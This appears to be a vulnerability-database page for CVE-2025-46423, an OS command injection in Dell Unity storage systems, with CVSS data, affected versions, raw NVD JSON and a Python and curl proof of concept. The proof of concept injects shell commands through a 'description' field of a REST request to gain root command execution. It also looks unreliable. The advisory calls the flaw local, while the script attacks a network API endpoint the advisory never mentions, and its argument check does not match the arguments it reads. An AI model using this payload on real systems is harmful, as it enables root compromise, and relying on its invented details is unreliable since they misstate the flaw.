Security Vulnerability Report
中文
CVE-2025-46423 CVSS 7.8 HIGH

CVE-2025-46423

Published: 2025-10-30 15:15:39
Last Modified: 2025-11-07 01:12:48

Description

Dell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability to execute arbitrary commands with root privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:* - VULNERABLE
Dell Unity <= 5.5
Dell UnityVSA <= 5.5
Dell Unity XT <= 5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46423 PoC - Dell Unity OS Command Injection # This PoC demonstrates the OS command injection vulnerability in Dell Unity # Note: This is for educational and authorized testing purposes only import requests import sys # Target configuration TARGET_URL = "https://<dell-unity-ip>/api/instances/system" AUTH_TOKEN = "<your-auth-token>" def exploit_command_injection(target_url, auth_token, command): """ Exploit OS command injection vulnerability in Dell Unity The vulnerability exists due to improper input sanitization """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload with command injection # Injecting command via parameter that is passed to system() call payload = { "name": "test_system", "description": f"test; {command} #" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=30) if response.status_code == 200: print(f"[+] Command executed successfully: {command}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-46423.py <target_url> <auth_token>") print("Example: python cve-2025-46423.py https://192.168.1.100/api <token>") sys.exit(1) target_url = sys.argv[1] auth_token = sys.argv[2] # Example: Execute id command to verify root access command = "id" exploit_command_injection(target_url, auth_token, command) if __name__ == "__main__": main() # Alternative curl PoC: # curl -X POST https://<target>/api/instances/system \ # -H "Authorization: Bearer <token>" \ # -H "Content-Type: application/json" \ # -d '{"name":"test","description":";whoami #"}' # Mitigation: # 1. Apply Dell security update from: https://www.dell.com/support/kbdoc/en-us/000385307/dsa-2025-379 # 2. Upgrade Dell Unity to version > 5.5 # 3. Implement network segmentation and restrict management access

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46423", "sourceIdentifier": "[email protected]", "published": "2025-10-30T15:15:38.653", "lastModified": "2025-11-07T01:12:47.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability to execute arbitrary commands with root privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2.0", "matchCriteriaId": "77B81CED-E1D2-4A7B-A5BB-48E97319E93B"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000385307/dsa-2025-379-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}